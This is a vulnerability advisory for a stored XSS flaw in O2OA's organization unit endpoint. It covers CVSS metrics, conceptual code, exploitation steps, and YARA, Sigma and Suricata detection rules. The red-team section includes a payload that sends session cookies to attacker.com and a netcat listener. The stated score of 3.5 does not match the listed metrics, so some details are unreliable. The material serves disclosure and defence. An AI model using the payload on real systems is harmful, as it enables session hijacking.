CVE-2025-9717
Executive Summary
CVE-2025-9717 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw exists in the Personal Profile Page component, specifically within the file /x_organization_assemble_control/jaxrs/unit/. An authenticated attacker can inject malicious scripts via the name, shortName, distinguishedName, pinyin, pinyinInitial, or levelName parameters. When an administrator or other user views the affected profile page, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or further internal attacks. The vulnerability has a low CVSS score of 3.5 due to the requirement for authentication and user interaction, but the public availability of exploit code increases the risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack is launched remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): Low (L) - The attacker must have a valid user account.
- User Interaction (UI): Required (R) - The victim must view the malicious profile page.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): Low (L) - Limited information disclosure is possible.
- Integrity (I): Low (L) - Limited modification of data is possible.
- Availability (A): None (N) - No impact on system availability.
Threat Level: Low. The requirement for authentication and user interaction significantly reduces the likelihood of widespread exploitation. However, the public availability of exploit code and the potential for targeted attacks against internal users warrants attention.
Deep Dive & Mechanics
The vulnerability resides in the O2OA organization assembly control module. The endpoint /x_organization_assemble_control/jaxrs/unit/ is used to manage organizational units (e.g., departments, teams). When a user updates their profile, the application fails to properly sanitize user-supplied input in the name, shortName, distinguishedName, pinyin, pinyinInitial, and levelName fields before storing it in the database. When an administrator or another user views the profile page, the stored malicious data is rendered in the browser without proper encoding, allowing the injected JavaScript to execute.
The attack flow:
- Attacker logs in with a valid account.
- Attacker sends a POST/PUT request to
/x_organization_assemble_control/jaxrs/unit/with a malicious payload in one of the vulnerable parameters (e.g.,name=<script>alert('XSS')</script>). - The server stores the malicious data in the database.
- An administrator or other user navigates to the profile page of the attacker.
- The browser renders the malicious script, executing it in the context of the victim's session.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// O2OA vulnerable endpoint
@POST
@Path("unit")
public Response createUnit(UnitData data) {
Unit unit = new Unit();
unit.setName(data.getName()); // No sanitization
unit.setShortName(data.getShortName()); // No sanitization
// ... other fields
unitDao.save(unit);
return Response.ok().build();
}
Patched Code (Conceptual):
// O2OA patched endpoint
import org.owasp.encoder.Encode;
@POST
@Path("unit")
public Response createUnit(UnitData data) {
Unit unit = new Unit();
unit.setName(Encode.forHtml(data.getName())); // HTML encoding
unit.setShortName(Encode.forHtml(data.getShortName())); // HTML encoding
// ... other fields
unitDao.save(unit);
return Response.ok().build();
}
The patched version uses output encoding (e.g., OWASP Encoder) to neutralize HTML/JavaScript before storage or rendering.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of O2OA version <= 10.0-410.
- Valid user credentials (e.g.,
user1/password123).
Exploitation Steps:
- Log in to O2OA as a regular user.
- Intercept the profile update request using a proxy like Burp Suite.
- Modify the
nameparameter to include a malicious payload:POST /x_organization_assemble_control/jaxrs/unit/ HTTP/1.1 Host: target-o2oa.com Cookie: JSESSIONID=... Content-Type: application/json { "name": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>", "shortName": "test", "distinguishedName": "test", "pinyin": "test", "pinyinInitial": "test", "levelName": "test" } - Send the request. The malicious script is now stored.
- Craft a link or social engineering message to trick an administrator into viewing the attacker's profile page.
- When the admin views the profile, the script executes, sending their session cookie to the attacker's server.
Lab Setup:
- Use Docker to deploy a vulnerable O2OA instance:
docker run -d -p 8080:8080 o2oa/o2oa:10.0-410 - Set up a listener to capture exfiltrated data:
nc -lvnp 4444
Blue Team
Detection:
- Monitor for unusual characters in profile fields (e.g.,
<script>,onerror=,javascript:). - Alert on requests to
/x_organization_assemble_control/jaxrs/unit/with suspicious payloads. - Use WAF rules to block common XSS patterns.
Mitigation:
- Immediately upgrade to O2OA version > 10.0-410.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enforce input validation and output encoding for all user-supplied data.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/x_organization_assemble_control/jaxrs/unit/containing<script>tags or event handlers. - Outbound connections to unknown domains from O2OA server (data exfiltration).
- HTTP requests to
- File IOCs:
- Log entries showing unusual characters in
name,shortName,distinguishedName,pinyin,pinyinInitial, orlevelNamefields.
- Log entries showing unusual characters in
- Behavioral IOCs:
- Unexpected JavaScript execution in the context of O2OA profile pages.
- Session cookies being sent to external servers.
Detection Engineering
YARA Rule
rule CVE_2025_9717_XSS_Payload {
meta:
description = "Detects XSS payloads targeting O2OA profile fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9717"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*['\"].*['\"]/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: O2OA Stored XSS via Profile Fields
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-9717 by injecting XSS payloads into O2OA profile fields.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: o2oa
detection:
selection:
http.method: 'POST'
http.url: '/x_organization_assemble_control/jaxrs/unit/'
http.body|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in profile fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-9717 O2OA Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/x_organization_assemble_control/jaxrs/unit/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade O2OA to version > 10.0-410. The vendor has released a patch.
- If immediate upgrade is not possible, implement a WAF rule to block requests containing
<script>tags in the vulnerable parameters. - Review and sanitize all existing profile data for stored XSS payloads.
Long-term Measures:
- Adopt a security development lifecycle (SDL) that includes input validation and output encoding.
- Conduct regular security audits and penetration testing.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Educate users about the risks of clicking on suspicious links.
Valters IT
Securing Digital Frontiers